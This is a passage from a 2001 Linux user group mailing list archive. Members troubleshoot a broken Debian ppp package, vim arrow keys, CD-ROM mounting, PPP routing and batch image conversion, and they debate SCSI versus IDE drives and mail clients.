I do? Every time I run > apt-get, it sees that it has an uninstalled upgrade for ppp and tried to > install it. The bug list didn't seem to have anything about it. I don't > know the internals of the packaging system, so I don't know how to remove > it from the queue. Well, you should be able to remove the package and install an old version, though it might be a pain to get an old version other than the stable/potato which may or may not work for you. dpkg --purge ppp dpkg -i old_ppp Then to keep apt-get from grabbing the new one, you should put ppp on hold. The easiest way to do this is: echo "ppp hold" |dpkg --set-selections As for where the packaging scripts are, for installed packages they are stored under /var/lib/dpkg/info. To ger at them for uninstalled debs: ar -x foo.deb tar zxvf control.tar.gz Hope this helps. Whatever the outcome, make sure you submit a bug on this (using the reportbug or bug command). -- Jim Crumley | Free Dmitry Sklyarov! crumley@fields.space.umn.edu | http://freesklyarov.org/ Work: 612 624-6804 or -0378 | From tanner at real-time.com Thu Aug 16 12:56:32 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:26:28 2005 Subject: [TCLUG] sender In-Reply-To: <20010816073633.B32018@candle.mn.mediaone.net>; from nate@techie.com on Thu, Aug 16, 2001 at 07:36:33AM -0500 References: <017a01c125be$23fea730$3028680a@tgt.com> <20010815165042.A20631@mudpiefoods.com> <20010815165930.C20631@mudpiefoods.com> <20010815194955.C3223@candle.mn.mediaone.net> <20010815212855.A21279@mudpiefoods.com> <20010816002036.B25875@real-time.com> <20010816073633.B32018@candle.mn.mediaone.net> Message-ID: <20010816125632.V6932@real-time.com> Quoting Nate Straz (nate@techie.com): > When you change mailboxes and hit you cycle between two views. > One is all the files in your mail folder, the other is just the > mailboxes you define with the mailboxes command. I define a mailbox for > each mbox I have procmail filter mail to. That way mutt will notify me > when mail arrives in that mailbox. When I change mailboxes one of the > mailboxes that has new mail will be the default or I can hit table and > get the complete list. I thought I was a pretty advanced mutt user :-( I think we need a meeting on MUAs and brag, err HOWTO setup the advanced stuff. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From thomas at stderr.net Thu Aug 16 13:10:04 2001 From: thomas at stderr.net (Thomas Eibner) Date: Mon Jan 17 13:26:28 2005 Subject: Borked script, was Re: [TCLUG] apt-get acting up In-Reply-To: <200108161705.f7GH5Ce23671@sprite.real-time.com>; from peter.clark@tides.com on Thu, Aug 16, 2001 at 10:01:02AM -0800 References: <200108161705.f7GH5Ce23671@sprite.real-time.com> Message-ID: <20010816201004.G71940@io.stderr.net> On Thu, Aug 16, 2001 at 10:01:02AM -0800, peter.clark@tides.com wrote: > - Thomas Eibner wrote: > > > Wonder what command it's trying to execute? Could you possibly try > > to extract the post-install script and execute it and see what > > happens? > > Would be glad to...care to tell me how? :) As I said, I don't know the > internals of the packaging system. Seems like I can only extract the contents of the package now, don't remember how I got the install scripts extracted once before :( -- Thomas Eibner DnsZone mod_pointer From drake at lemongecko.myip.org Thu Aug 16 12:08:14 2001 From: drake at lemongecko.myip.org (Dan) Date: Mon Jan 17 13:26:28 2005 Subject: [TCLUG] MUA fun (was: sender) In-Reply-To: <20010816125632.V6932@real-time.com> References: <017a01c125be$23fea730$3028680a@tgt.com> <20010815165042.A20631@mudpiefoods.com> <20010815165930.C20631@mudpiefoods.com> <20010815194955.C3223@candle.mn.mediaone.net> <20010815212855.A21279@mudpiefoods.com> <20010816002036.B25875@real-time.com> <20010816073633.B32018@candle.mn.mediaone.net> <20010816125632.V6932@real-time.com> Message-ID: <20010816130813.B10321@lemongecko.org> On Thu, Aug 16, 2001 at 12:56:32PM -0500, Bob Tanner wrote: > I thought I was a pretty advanced mutt user :-( I think we need a meeting on > MUAs and brag, err HOWTO setup the advanced stuff. I was inspired by the original post to go look for a program that does footnote-like references for email. It's available at [1], and I got it from [2]. (see, it works!) If the ".vim" wasn't a clue, it's a vim script, so you have to use vim to compose your mail -- not a problem for most mutt users. Unfortunately the math department doesn't use mutt so I can only experience the delight of neatly numbered references at home. :( Dan [1]. http://www.math.umn.edu/~drake/email-uri-ref.vim [2]. http://larve.net/people/hugo/2001/02/email-uri-refs/ -- lemon | Dan Drake + gecko | drake@lemongecko.org ----- | http://lemongecko.org/drake ?! | From esper at sherohman.org Thu Aug 16 13:39:46 2001 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:26:28 2005 Subject: [TCLUG] MUA fun (was: sender) In-Reply-To: <20010816130813.B10321@lemongecko.org>; from drake@lemongecko.myip.org on Thu, Aug 16, 2001 at 01:08:14PM -0400 References: <017a01c125be$23fea730$3028680a@tgt.com> <20010815165042.A20631@mudpiefoods.com> <20010815165930.C20631@mudpiefoods.com> <20010815194955.C3223@candle.mn.mediaone.net> <20010815212855.A21279@mudpiefoods.com> <20010816002036.B25875@real-time.com> <20010816073633.B32018@candle.mn.mediaone.net> <20010816125632.V6932@real-time.com> <20010816130813.B10321@lemongecko.org> Message-ID: <20010816133945.I13430@sherohman.org> On Thu, Aug 16, 2001 at 01:08:14PM -0400, Dan wrote: > If the ".vim" wasn't a clue, it's a vim script, so you have to use vim to > compose your mail -- not a problem for most mutt users. I believe that mutt just runs 'vi' as the default editor. Not everyone's vi is vim... So why does everyone seem to prefer vim over elvis? -- With the arrest of Dimitry Sklyarov it has become apparent that it is not safe for non US software engineers to visit the United States. - Alan Cox "To prevent unauthorized reading..." - Adobe eBook reader license From blutgens at sistina.com Thu Aug 16 13:47:54 2001 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:26:29 2005 Subject: [TCLUG] MUA fun (was: sender) In-Reply-To: <20010816133945.I13430@sherohman.org>; from esper@sherohman.org on Thu, Aug 16, 2001 at 01:39:46PM -0500 References: <017a01c125be$23fea730$3028680a@tgt.com> <20010815165042.A20631@mudpiefoods.com> <20010815165930.C20631@mudpiefoods.com> <20010815194955.C3223@candle.mn.mediaone.net> <20010815212855.A21279@mudpiefoods.com> <20010816002036.B25875@real-time.com> <20010816073633.B32018@candle.mn.mediaone.net> <20010816125632.V6932@real-time.com> <20010816130813.B10321@lemongecko.org> <20010816133945.I13430@sherohman.org> Message-ID: <20010816134754.A2868@sistina.com> On Thu, Aug 16, 2001 at 01:39:46PM -0500, Dave Sherohman wrote: > >So why does everyone seem to prefer vim over elvis? > because. -- Ben Lutgens Sistina Software Inc. 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It's available at [1], and I got it > from [2]. (see, it works!) [1]! [1]. Sweet -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From dieman+tclug at ringworld.org Thu Aug 16 13:53:44 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:26:29 2005 Subject: [TCLUG] Qwest, love, and happyness! (Re: Line conditioning) In-Reply-To: <3b7bfeca.72c7.0@isd.net> References: <3b7bfeca.72c7.0@isd.net> Message-ID: <20010816135344.K11305@ringworld.org> * kblack@isd.net [010816 12:13]: > 3. The part about not doing any line conditioning is maybe my > mis-interpretation of the ruling, but it sure reads like they CLEC's have to pay a larger fee to have a 'DSL conditioned' copper pair opposed to a 'copper pair'. -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From dante at herd.plethora.net Thu Aug 16 14:32:15 2001 From: dante at herd.plethora.net (Dan Taylor) Date: Mon Jan 17 13:26:29 2005 Subject: [TCLUG] MUA fun (was: sender) In-Reply-To: <20010816133945.I13430@sherohman.org> Message-ID: Features and feel. I started using vim because I preferred the feel over elvis and nvi, I kept using it because it can do so much with the various config options and scripts. Daniel Taylor On Thu, 16 Aug 2001, Dave Sherohman wrote: > On Thu, Aug 16, 2001 at 01:08:14PM -0400, Dan wrote: > > If the ".vim" wasn't a clue, it's a vim script, so you have to use vim to > > compose your mail -- not a problem for most mutt users. > > I believe that mutt just runs 'vi' as the default editor. Not everyone's > vi is vim... > > So why does everyone seem to prefer vim over elvis? > > -- > With the arrest of Dimitry Sklyarov it has become apparent that it is not > safe for non US software engineers to visit the United States. - Alan Cox > "To prevent unauthorized reading..." - Adobe eBook reader license > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From zibby+tclug at ringworld.org Thu Aug 16 14:39:52 2001 From: zibby+tclug at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 13:26:29 2005 Subject: Borked script, was Re: [TCLUG] apt-get acting up In-Reply-To: <20010816185736.D71940@io.stderr.net> Message-ID: The scripts should be in /var/lib/dpkg/info Andrew S. Zbikowski | http://www.ringworld.org "We can learn much more from wise words, little from wisecracks and less from wise guys." --William Arthur Ward From list at slushpupie.com Thu Aug 16 14:44:21 2001 From: list at slushpupie.com (Jay Kline) Date: Mon Jan 17 13:26:29 2005 Subject: [TCLUG] MUA fun (was: sender) In-Reply-To: Message-ID: Speaking of its various config options, I used the default setup of vim on most systems, it works well for me. But I am now on a system with vim where I cannot use the arrow keys. (I know, I know, real sixers dont use them) How can I set it up so I can use my arrow keys? Right now when I try to use them it gives a newline with letters (like A's and D's and stuff) Jay -----Original Message----- From: tclug-list-admin@mn-linux.org [mailto:tclug-list-admin@mn-linux.org]On Behalf Of Dan Taylor Sent: Thursday, August 16, 2001 2:32 PM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] MUA fun (was: sender) Features and feel. I started using vim because I preferred the feel over elvis and nvi, I kept using it because it can do so much with the various config options and scripts. Daniel Taylor On Thu, 16 Aug 2001, Dave Sherohman wrote: > On Thu, Aug 16, 2001 at 01:08:14PM -0400, Dan wrote: > > If the ".vim" wasn't a clue, it's a vim script, so you have to use vim to > > compose your mail -- not a problem for most mutt users. > > I believe that mutt just runs 'vi' as the default editor. Not everyone's > vi is vim... > > So why does everyone seem to prefer vim over elvis? > > -- > With the arrest of Dimitry Sklyarov it has become apparent that it is not > safe for non US software engineers to visit the United States. - Alan Cox > "To prevent unauthorized reading..." - Adobe eBook reader license > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > _______________________________________________ tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From austad at marketwatch.com Thu Aug 16 15:34:51 2001 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:26:29 2005 Subject: [TCLUG] HDD IO optimizing Message-ID: <54180709DD3FE145917BB165AFE7EFA0BCDDAF@mspexch2.office.mktw.net> I've also had a lot more scsi drives die than IDE. Maybe because they run hotter?? Most of the time, the circuit board fails with something burnt or something, I've only had one die of mechanical failure. Jay > -----Original Message----- > From: Yaron [mailto:jethro@freakzilla.com] > Sent: Wednesday, August 15, 2001 12:04 PM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] HDD IO optimizing > > > Hi, > > On Wed, 15 Aug 2001, Florin Iucha wrote: > > > 1. What do you need 75Gb for? > > jethro@dragon:/home/jethro> df -h /home > Filesystem Size Used Avail Use% Mounted on > /dev/hda12 42G 33G 9.4G 78% /home > > I do a lot of video capture. It takes up space. > > > 2. When all your 75Gb go down the tubes... You'll be sorry you were > > cheap. > > SCSI is absolutely no guarantee of quality. I've had many, > many SCSI drives die on me - more than I can remember > offhand. I've only had about 2 IDE drives die on me. > > SCSI and IDE drives aren't really that different. SCSI is > overpriced for very little reason. Some say they go through a > tougher QA process, but then IBM Deskstarts (75GB IDE) do too. > > > -Yaron > > -- > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-> linux.org/mailman/listinfo/tclug-list > From crumley at belka.space.umn.edu Thu Aug 16 15:51:02 2001 From: crumley at belka.space.umn.edu (Jim Crumley) Date: Mon Jan 17 13:26:29 2005 Subject: [TCLUG] MUA fun (was: sender) In-Reply-To: ; from list@slushpupie.com on Thu, Aug 16, 2001 at 02:44:21PM -0500 References: Message-ID: <20010816155101.A1454@gordo.space.umn.edu> On Thu, Aug 16, 2001 at 02:44:21PM -0500, Jay Kline wrote: > Speaking of its various config options, I used the default setup of vim on most > systems, it works well for me. But I am now on a system with vim where I cannot > use the arrow keys. (I know, I know, real sixers dont use them) How can I set it > up so I can use my arrow keys? Right now when I try to use them it gives a newline > with letters (like A's and D's and stuff) Put "set nocompatible" in your .vimrc. If that doesn't work then it may be terminfo/termcap problem. -- Jim Crumley | Free Dmitry Sklyarov! crumley@fields.space.umn.edu | http://freesklyarov.org/ Work: 612 624-6804 or -0378 | From paul.wiechman at orgcon.com Thu Aug 16 16:01:27 2001 From: paul.wiechman at orgcon.com (Paul Wiechman) Date: Mon Jan 17 13:26:29 2005 Subject: [TCLUG] PPP Connection Usage Problem References: <43353280FCFFD211971E00005801192E06323A38@msgmsp15.norwest.com> Message-ID: <3B7C34A7.67BDFF31@orgcon.com> Do a route -n and see where your default route is heading to... eth0 perhaps? Paul Phillip.J.Crump@WellsFargo.COM wrote: > I'm running Mandrake 8.0 and I'm having a problem using the PPP connection > that has been established via external Modem. > > .. Here is the skinny > I used kpp to configure dialup access, and the modem dials and connects to > my ISP just fine. When I issue an >ifconfig I have 3 entries, > entry l0 for the localhost, entry eth0 for my local network and a ppp0 entry > (with the dynamic ip address and everything). > > I directed a ping to the ppp entry (ping -I ppp0 www.google.com) and I get > nothing.. I try to connect to the net via netscape and get nothing. > To ensure that my ISP was still alive and kicking I moved the modem back to > my win box and everything still worked fine. > > Can anyone lend any type of assistance? > > - PJ > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From slushpupie at iexposure.com Thu Aug 16 16:14:46 2001 From: slushpupie at iexposure.com (Jay Kline) Date: Mon Jan 17 13:26:29 2005 Subject: [TCLUG] MUA fun (was: sender) In-Reply-To: <20010816155101.A1454@gordo.space.umn.edu> References: <20010816155101.A1454@gordo.space.umn.edu> Message-ID: <01081616144600.24232@friday.tarsk.com> Cool, that was it. Thanks. Jay On Thursday 16 August 2001 3:51 pm, you wrote: > On Thu, Aug 16, 2001 at 02:44:21PM -0500, Jay Kline wrote: > > Speaking of its various config options, I used the default setup of vim > > on most systems, it works well for me. But I am now on a system with vim > > where I cannot use the arrow keys. (I know, I know, real sixers dont use > > them) How can I set it up so I can use my arrow keys? Right now when I > > try to use them it gives a newline with letters (like A's and D's and > > stuff) > > Put "set nocompatible" in your .vimrc. If that doesn't work then > it may be terminfo/termcap problem. -- Jay Kline slushpupie@iexposure.com http://www.slushpupie.com Some people claim that the UNIX learning curve is steep, but at least you only have to climb it once. From Phillip.J.Crump at WellsFargo.COM Thu Aug 16 17:02:40 2001 From: Phillip.J.Crump at WellsFargo.COM (Phillip.J.Crump@WellsFargo.COM) Date: Mon Jan 17 13:26:29 2005 Subject: [TCLUG] PPP Connection Usage Problem Message-ID: <43353280FCFFD211971E00005801192E06445747@msgmsp15.norwest.com> Yes it is.. I did that command last night (the machine is at home) I assume by your question that I need to change that? PJ > -----Original Message----- > From: Paul Wiechman [SMTP:paul.wiechman@orgcon.com] > Sent: Thursday, August 16, 2001 4:01 PM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] PPP Connection Usage Problem > > Do a route -n and see where your default route is heading to... eth0 > perhaps? > > Paul > > > Phillip.J.Crump@WellsFargo.COM wrote: > > > I'm running Mandrake 8.0 and I'm having a problem using the PPP > connection > > that has been established via external Modem. > > > > .. Here is the skinny > > I used kpp to configure dialup access, and the modem dials and connects > to > > my ISP just fine. When I issue an >ifconfig I have 3 entries, > > entry l0 for the localhost, entry eth0 for my local network and a ppp0 > entry > > (with the dynamic ip address and everything). > > > > I directed a ping to the ppp entry (ping -I ppp0 www.google.com) and I > get > > nothing.. I try to connect to the net via netscape and get nothing. > > To ensure that my ISP was still alive and kicking I moved the modem back > to > > my win box and everything still worked fine. > > > > Can anyone lend any type of assistance? > > > > - PJ > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From peter.clark at tides.com Thu Aug 16 18:00:25 2001 From: peter.clark at tides.com (peter.clark@tides.com) Date: Mon Jan 17 13:26:29 2005 Subject: Borked script, was Re: [TCLUG] apt-get acting up Message-ID: <200108162205.f7GM5Ce32522@sprite.real-time.com> --- "Andy Zbikowski (Zibby)" wrote: > The scripts should be in /var/lib/dpkg/info 'grep keep ppp*' turned up nothing. What should I be looking for? 'grep modutil ppp*' only turned up the MD5 checksum and two lines in ppp.list, which are as follows: /etc/modutils /etc/modutils/ppp What next? :Peter From adam at teamstrange.com Thu Aug 16 17:29:41 2001 From: adam at teamstrange.com (Adam Wolkoff) Date: Mon Jan 17 13:26:29 2005 Subject: [TCLUG] Re: Newbie intro and question In-Reply-To: <01081522425302.11468@friday.tarsk.com> Message-ID: Jay, All: Thanks for your continued help. the saga continues... > Try this next, from a console or terminal, type: > > ls -ld /mnt/cdrom2 > > and see what the permissions are. drwxrwxrwx 1root root 0 August 16 1705 /mnt/cdrom2 > > The important part the the first. You should see "drwxrwxr-x" and not so far so good > The other thing is the "supermount" part in fstab. When things > arnt working > right, you should turn that off. To turn that off, do this: > > umount /mnt/cdrom2 #this may or may not do anything > > Then edit fstab- comment out the line for /mnt/cdrom2 (just put a > # in front > of the line) did that > Now, put a CD in the drive that you know is good. To mount it > manually, type: > > mount /dev/cdrom2 /mnt/cdrom2 > > And let us know what the output for that is. mount: block device /dev/cdrom2 is write protected, mounting read only mount: you must specify a filesystem type >If there is no > output, then do > this: > > cd /mnt/cdrom2 > ls * > > and give the output of that. ls: *: No such file or directory. From dan at williamsongraphics.com Thu Aug 16 18:43:05 2001 From: dan at williamsongraphics.com (dan williamson) Date: Mon Jan 17 13:26:29 2005 Subject: [TCLUG] tif2jpg Message-ID: <0108161843050B.01923@morpheus.hellnet> I've been trying to convert some tif files (taken w/ a Fuji S1 camera) to jpgs. When I use this: convert DSCF0043.TIF DSCF0043.JPG I get: convert: DSCF0043.TIF: unknown field with tag 34665 (0x8769) ignored. (DSCF004TIF). I am also using a script that I found on the net that looks like this: #!/bin/sh for f in $* ;do if echo "$f" | grep -i "TIF$" > /dev/null ; then TIF=`echo "$f" | sed 's/JPG$/TIF/i'` echo "converting $f to $TIF ..." convert 80x80 $f $TIF else echo echo "$f is not a TIF file, ignored" fi done It takes a while and then it says: convert: Unable to open file (DSCF0022.TIF.TIF) [No such file or directory]. convert: Missing an image file name. I have 200 hundred tif files that I need to throw up on the web in jpeg format and I sure as h**l am not going to do it by hand. Any and all help is appreciated. Dan From hick0088 at tc.umn.edu Thu Aug 16 19:51:08 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:26:30 2005 Subject: [TCLUG] tclug and attachments In-Reply-To: References: Message-ID: <20010816195108.061ed773.hick0088@tc.umn.edu> wrote: > > > Outlook Express generally doesn't like messages produced by mutt. They > > appear as an empty message with a text document attached. Obviously, > > it's an Outlook Express problem, so nobody on a Linux mailing list > > really cares. > > No, it is not "obviously an Outlook Express problem". There must be > something different about the formatting of a message sent by mutt in > order to evoke this behavior (as compared to those MUAs that don't). It > would be useful to know what that is. I had someone who used Outlook (not sure if it was Express or not) complain to me about this happening to my Sylpheed-generated messages, so I wouldn't be surprised at all if it's a problem with that client.. -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ "640K ought to be enough / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ for anybody." -- Bill \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) Gates '81 [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... 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Sorry, force of habit.. -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ #define EWATERGATE /* / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ Extended tape gap */ \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... 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It echoes the filename that ends in .tif, then pipes that through sed to change `jpg' to `tif', which is pointless when the original file had a .tif extension.. That script is attempting to not care about the case of filename extensions, and is maybe doing a bad job of it... I do similar stuff a lot, though I've never used convert, so I can't help you with that problem (it looked like it was just a warning, though.. do the images turn out alright?) for f in *.tif; do convert "$f" "$(echo $f|sed 's/.tif/.jpg/')" done -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ Give your child mental / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ blocks for Christmas. \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010816/ad6bfa99/attachment.pgp From jpschewe at mtu.net Thu Aug 16 20:42:45 2001 From: jpschewe at mtu.net (Jon Schewe) Date: Mon Jan 17 13:26:30 2005 Subject: [TCLUG] AT&T filtering sites? In-Reply-To: <200108160404.XAA20116@zjod.net> References: <200108160404.XAA20116@zjod.net> Message-ID: Thank you for the research, unfortunatly you ignored my original note that only connections to port 80 are having problems. I can ping and traceroute every site just fine, even at the exact same instant that I'm trying to telnet to port 80. The ping/traceroute will complete, the telnet will timeout. sos@zjod.net (Steve Siegfried) writes: > Jon, > > After your last posting, I did a little extra homework on this. > > The sites you'd originally complained about as "coming and going" were: > http://slashdot.org > http://slashdot.com > http://www.air1.com > http://linuxgazette.com > http://www.csc.calpoly.edu > > Note that an nslookup on slashdot.org and slashdot.com map to the same ip > address. > > Note also that, as I gathered the data below, it's about 10:30pm CDT and > I'm on an AT&T Broadband cable modem in Mendota Heights. > > > Data: > > http://slashdot.{org,com} appear to have problems responding to traceroutes, > but only after leaving *.ip.att.net on routes owned by "exodus.net" (starting > at hop 14, see http://www.exodus.net for details). Presently slashdot.org is > NOT responding to pings and traceroutes never resolve, all due to a problem > somewhere within exodus.net. > > www.air1.com at 209.67.75.64 is 15 hops away, and is presently responding > to pings pretty consistently between 55 and 59ms with no dropped. packets. > Tracrouting this site hangs can sometime "hang" for a while (in real time) > somewhere in exodus.net (at or near the same router that's having trouble > finding slashdot.org). > > http://linuxgazette.com at 64.39.18.140 is 16 hops away, and is presently > responding to pings pretty consistently between 32 and 49ms with no dropped > packets. > > http://www.csc.calpoly.edu at 129.65.241.3 is 22 hops away and is presently > responding to pings pretty consistently between 110 and 130ms, also with no > dropped packets. > > Conclusion: > > AT&T (in the guise of *.mediaone.net and *.att.net) appear to have their > internal house pretty much in order, but rely on external connections to > non-AT&T networks that are less than fully stable. > > -S > > Jon Schewe wrote: > > > > sos@zjod.net (Steve Siegfried) writes: > > > > > Jon Schewe wrote: > > > > > > > > I've solved the nameserver issues by running my own nameserver. I've given up > > > > on theirs. > > > > > > > > > > And are you still unable to reach some sites, or did this cure the problem? > > > > > > Curious minds want to know'ildy, > > > > Didn't help. I've been running my own nameserver for the past 6 years, never > > used the one off any ISP, because they generally suck. Still can't get to the > > sites. As I noted earlier, it shouldn't be a DNS issue, unless the sites are > > doing reverse lookups because I can ping them and telnet to other ports > > successfully, but I can't telnet to port 80. > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list -- Jon Schewe | http://mtu.net/~jpschewe | jpschewe@mtu.net For I am convinced that neither death nor life, neither angels nor demons, neither the present nor the future, nor any powers, neither height nor depth, nor anything else in all creation, will be able to separate us from the love of God that is in Christ Jesus our Lord. - Romans 8:38-39 From joel at luths.net Thu Aug 16 23:14:08 2001 From: joel at luths.net (Joel Luth) Date: Mon Jan 17 13:26:30 2005 Subject: [TCLUG] Poor performance of AMD 1 Ghz? References: <20010815024112.B26337@real-time.com><20010815101447.A19402@localhost> <20010815105117.0288a659.blayer@qwest.net> Message-ID: <01bd01c126d3$0fcf8de0$6601a8c0@cargill.com> ----- Original Message ----- From: "Bill Layer" To: Sent: Wednesday, August 15, 2001 10:51 AM Subject: Re: [TCLUG] Poor performance of AMD 1 Ghz? > On Wed, 15 Aug 2001 10:14:47 -0500 > "Tom Hudak" wrote: > > > On Wed, Aug 15, 2001 at 02:41:12AM -0500, Bob Tanner wrote: > > >Anyone else seeing terrible performance on AMD Athlong processors? > > My dad's 1Ghz is blazing fast. > > I've got a Duron 700 @ 850Mhz - this is the '200Mhz' FSB part, with 512MB > of PC133 RAM on an ABIT KT-7 RAID motherboard. It absolutely screams, it > is the all-around fastest desktop I have ever used on any regular basis. > > Disk performance is very acceptable too... (hdparm is run from an xterm in > this case) > > root@Homer:/home/UserX/gnut# hdparm -Tt /dev/hde > > /dev/hde: > Timing buffer-cache reads: 128 MB in 0.85 seconds =150.59 MB/sec > Timing buffered disk reads: 64 MB in 2.21 seconds = 28.96 MB/sec > > Oh man, I need a new system. From joel at luths.net Thu Aug 16 23:23:46 2001 From: joel at luths.net (Joel Luth) Date: Mon Jan 17 13:26:30 2005 Subject: [TCLUG] HDD IO optimizing References: <017a01c125be$23fea730$3028680a@tgt.com> Message-ID: <025101c126d4$683f84c0$6601a8c0@cargill.com> I had a Caviar crap out on me once. (maybe that takes the jinx off you) ----- Original Message ----- From: "Thomas T. Veldhouse" To: Sent: Wednesday, August 15, 2001 2:11 PM Subject: Re: [TCLUG] HDD IO optimizing > You should consider Western Digital as well. Often, a particular model of > Western Digital is the SAME drive that you get when you buy an IBM drive. I > am not sure what sort of deal they have, but it seems there is a bit of > overlap with respect to hardware between IBM and Western Digital. I think > the overlap is the WD Caviar drives. I have been using these and they seem > to run forever (knock on wood). > > Tom Veldhouse > veldy@veldy.net > > ----- Original Message ----- > From: "Brian" > To: > Sent: Wednesday, August 15, 2001 1:23 PM > Subject: Re: [TCLUG] HDD IO optimizing > > > > > > 2. When all your 75Gb go down the tubes... You'll be sorry you were > cheap. > > > > > > you mean you think paying more than 2x as much for scsi somehow protects > > > you from drive failing? > > > > Yes, I'm puzzled as well. Are SCSI drives more reliable than IDE? For my > > money, an IBM ATA/100 7200RPM drive is sufficiently fast and just as > > reliable as SCSI. Referencing the original quote of $172 on Pricewatch > > for a 76GB, beware. Cheap drives are out there and they're not worth > > their price. Anything other than Seagate and IBM are not allowed in my > > house. Then I can spend all that money on an IDE RAID 5 controller. > > > > -Brian > > > > > > > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > From list at slushpupie.com Thu Aug 16 23:16:59 2001 From: list at slushpupie.com (Jay Kline) Date: Mon Jan 17 13:26:30 2005 Subject: [TCLUG] Re: Newbie intro and question In-Reply-To: References: Message-ID: <01081623165900.27243@friday.tarsk.com> > > mount: block device /dev/cdrom2 is write protected, mounting read only > mount: you must specify a filesystem type > Ok, what is the CD you are trying to mount? the mount command must know what the filesystem type is to be able to mount properly. Normally it can guess just fine, but sometimes it needs a little help. Try some of these: # this is the standard CD format mount -t iso9660 /dev/cdrom2 /mnt/cdrom2 # some windows cd's are fat systems (very rare) mount -t vfat /dev/cdrom2 /mnt/cdrom2 # some linux rescue cds are native linux format mount -t ext2 /dev/cdrom2 /mnt/cdrom2 The other thing to make sure of is that it mounts ok with your other drive. If you have a working DVD drive, stick a cd in there to test. If you cant mount cd's on either drive, then you may have more serious issues going on. -- Jay Kline list@slushpupie.com http://www.slushpupie.com Please stand for the National Anthem: Australians all, let us rejoice, For we are young and free. We've golden soil and wealth for toil Our home is girt by sea. Our land abounds in nature's gifts Of beauty rich and rare. In history's page, let every stage Advance Australia Fair. In joyful strains then let us sing, Advance Australia Fair. Thank you. You may resume your seat. From list at slushpupie.com Thu Aug 16 23:37:37 2001 From: list at slushpupie.com (Jay Kline) Date: Mon Jan 17 13:26:30 2005 Subject: [TCLUG] sort Message-ID: <01081623373701.27243@friday.tarsk.com> Its been a while since I have needed this, but I need to sort some files, and remove duplicate line entries. I thought sort had that functionality built in, but in searching the man pages it dosnt seem to. The problem is I have to do this on different systems and dont want to write custom scripts, as there are too many different systems to distribute anything like that. I would not mind typing a simple 1-2 line script, but I was sure there was some standard unix utility that does this. Anyone know it? Jay -- Jay Kline list@slushpupie.com http://www.slushpupie.com I can't understand why a person will take a year or two to write a novel when he can easily buy one for a few dollars. -- Fred Allen From joel at luths.net Fri Aug 17 00:02:17 2001 From: joel at luths.net (Joel Luth) Date: Mon Jan 17 13:26:30 2005 Subject: [TCLUG] tclug and attachments References: <20010816195108.061ed773.hick0088@tc.umn.edu> Message-ID: <3B7CA559.C4120878@luths.net> For me, this message shows empty with the content in an attachment in Outlook Express. In Communicator 4.7, 6.1, and StarOffice 5.2 it looks normal. I vote for Outlook Express problem. Mike Hicks wrote: > wrote: > > > > > Outlook Express generally doesn't like messages produced by mutt. They > > > appear as an empty message with a text document attached. Obviously, > > > it's an Outlook Express problem, so nobody on a Linux mailing list > > > really cares. > > > > No, it is not "obviously an Outlook Express problem". There must be > > something different about the formatting of a message sent by mutt in > > order to evoke this behavior (as compared to those MUAs that don't). It > > would be useful to know what that is. > > I had someone who used Outlook (not sure if it was Express or not) > complain to me about this happening to my Sylpheed-generated messages, so > I wouldn't be surprised at all if it's a problem with that client.. > > -- > _ _ _ _ _ ___ _ _ _ ___ _ _ __ "640K ought to be enough > / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ for anybody." -- Bill > 